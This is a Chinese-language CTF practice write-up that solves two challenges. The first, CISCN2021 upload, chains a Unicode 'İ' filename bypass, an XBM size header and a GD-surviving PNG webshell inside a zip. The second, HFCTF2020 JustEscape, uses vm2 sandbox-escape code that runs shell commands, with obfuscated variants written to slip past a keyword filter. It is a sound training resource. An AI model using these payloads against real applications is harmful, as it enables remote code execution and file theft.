web随缘刷

唉,ciscn快开了,ctf太卷了,做做以前题练一下手吧

[TOC]

[CISCN2021 Quals]upload

源码:

<?php
if (!isset($_GET["ctf"])) {
    highlight_file(__FILE__);
    die();
}

if(isset($_GET["ctf"]))
    $ctf = $_GET["ctf"];

if($ctf=="upload") {
    if ($_FILES['postedFile']['size'] > 1024*512) {
        die("这么大个的东西你是想d我吗?");
    }
    $imageinfo = getimagesize($_FILES['postedFile']['tmp_name']);
    if ($imageinfo === FALSE) {
        die("如果不能好好传图片的话就还是不要来打扰我了");
    }
    if ($imageinfo[0] !== 1 && $imageinfo[1] !== 1) {
        die("东西不能方方正正的话就很讨厌");
    }
    $fileName=urldecode($_FILES['postedFile']['name']);
    if(stristr($fileName,"c") || stristr($fileName,"i") || stristr($fileName,"h") || stristr($fileName,"ph")) {
        die("有些东西让你传上去的话那可不得了");
    }
    $imagePath = "image/" . mb_strtolower($fileName);
    if(move_uploaded_file($_FILES["postedFile"]["tmp_name"], $imagePath)) {
        echo "upload success, image at $imagePath";
    } else {
        die("传都没有传上去");
    }
}

审计下这个代码,传一个文件,校验大小–>校验图片高和宽–>过滤’c’,’i’,’h’,’ph’–>成功上传or失败

无法上传php🐎,无法利用.htacess和.user.ini,

那就

扫描一下目录,又发现了一个源码

example.php

 <?php
if (!isset($_GET["ctf"])) {
    highlight_file(__FILE__);
    die();
}

if(isset($_GET["ctf"]))
    $ctf = $_GET["ctf"];

if($ctf=="poc") {
    $zip = new \ZipArchive();
    $name_for_zip = "example/" . $_POST["file"];
    if(explode(".",$name_for_zip)[count(explode(".",$name_for_zip))-1]!=="zip") {
        die("要不咱们再看看?");
    }
    if ($zip->open($name_for_zip) !== TRUE) {
        die ("都不能解压呢");
    }

    echo "可以解压,我想想存哪里";
    $pos_for_zip = "/tmp/example/" . md5($_SERVER["REMOTE_ADDR"]);
    $zip->extractTo($pos_for_zip);
    $zip->close();
    unlink($name_for_zip);
    $files = glob("$pos_for_zip/*");
    foreach($files as $file){
        if (is_dir($file)) {
            continue;
        }
        $first = imagecreatefrompng($file);
        $size = min(imagesx($first), imagesy($first));
        $second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
        if ($second !== FALSE) {
            $final_name = pathinfo($file)["basename"];
            imagepng($second, 'example/'.$final_name);
            imagedestroy($second);
        }
        imagedestroy($first);
        unlink($file);
    }
}

这段代码的大致作用是解压一个zip文件,那我们就要思考是否可以把php放入zip中,那就需要我们上传一个zip文件,但是i被过滤

这里可以利用mb_strtolower函数绕过,它是支持Unicode的

image-20220519123323158

大致的意思就是我们可以用一个字符Unicode去替换i

image-20220519123635184

<?php
var_dump(mb_strtolower('İ')==='i');
?>

image-20220519123728624

详见:https://blog.rubiya.kr/index.php/2018/11/29/strtoupper/

绕过了i之后我们还要绕过高和宽

我们可以利用xmb绕过

#define test_width 1
#define test_height 1

除此之外它还有一个函数过滤,阻止我们在图片中放入恶意的php

image-20220519124806416

通常,系统在实现图片上传功能时,为了防范用户上传含有恶意 php 代码的图片,可采用 gd 库重建图片,gd 库重建图片的一系列函数 imagecreatefrom*,会检查图片规范,验证图片合法性,以此抵御图片中含有恶意 php 代码的攻击。

如果直接在图片最后写一个一句话木马,会被GD库给去掉。绕过GD库可以参考这篇文章:http://www.vuln.cn/6411

我们可以使用工具:https://github.com/huntergregal/PNG-IDAT-Payload-Generator来帮助我们绕过

使用脚本生成图片🐎

image-20220519125046671

修改后缀为php并放入zip中

创建一个txt文件,里面写入


#define test_width 1
#define test_height 1

注:第一行要空出来换行,不然无法识别

然后将txt追加到zip后

copy shell.zip/b+1.txt/a dd.zip

image-20220519130016829

然后就可以来上传了

自己构建一个html post文件上传界面:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://05b1ebab-02ca-4b72-bf12-1b21695d609d.node4.buuoj.cn:81/upload.php?ctf=upload" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="postedFile" id="postedFile"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

image-20220519125541638

抓包,修改i

image-20220519130133680

成功上传

image-20220519130059694

然后使用example页面解压

image-20220519133936518

成功解压,运行下

image-20220519134029090

下面来找flag

image-20220519134213040

读取下这个文件

image-20220519134241496

[HFCTF2020]JustEscape

image-20220519144418792

真的是php吗?

既然这么提示了那肯定不是,测一下node.js

传入 Error().stack

image-20220519145031732

确实是js,是vm2的沙箱逃逸问题

github有现成poc:

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
    TypeError.prototype.get_process = f=>f.constructor("return process")();
    try{
        Object.preventExtensions(Buffer.from("")).a = 1;
    }catch(e){
        return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
    }
}+')()';
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

或者

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
    try{
        Buffer.from(new Proxy({}, {
            getOwnPropertyDescriptor(){
                throw f=>f.constructor("return process")();
            }
        }));
    }catch(e){
        return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
    }
}+')()';
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

构造成function传入

(function()
 {    
    "use strict";
    const {VM} = require('vm2');
    const untrusted = '(' + function(){
        TypeError.prototype.get_process = f=>f.constructor("return process")();
        try{
            Object.preventExtensions(Buffer.from("")).a = 1;
        }catch(e){
            return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
        }
    }+')()';
    try{
        console.log(new VM().run(untrusted));
    }catch(x){
        console.log(x);
    }
})()

image-20220519150121586

应该关键字被过滤了

绕过:

1、在关键字字母上加上 `

(()=>{ TypeError[[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`][`join`](``)][`a`] = f=>f[[`c`,`o`,`n`,`s`,`t`,`r`,`u`,`c`,`t`,`o`,`r`][`join`](``)]([`r`,`e`,`t`,`u`,`r`,`n`,` `,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))(); try{ Object[`preventExtensions`](Buffer[`from`](``))[`a`] = 1; }catch(e){ return e[`a`](()=>{})[`mainModule`][[`r`,`e`,`q`,`u`,`i`,`r`,`e`][`join`](``)]([`c`,`h`,`i`,`l`,`d`,`_`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))[[`e`,`x`,`e`,`c`,`S`,`y`,`n`,`c`][`join`](``)](`cat+/flag`)[`toString`](); } })()

2、javascript的模版文字绕过

prototype变成`${`${`prototyp`}e`}`

(function (){
    TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
    }
})()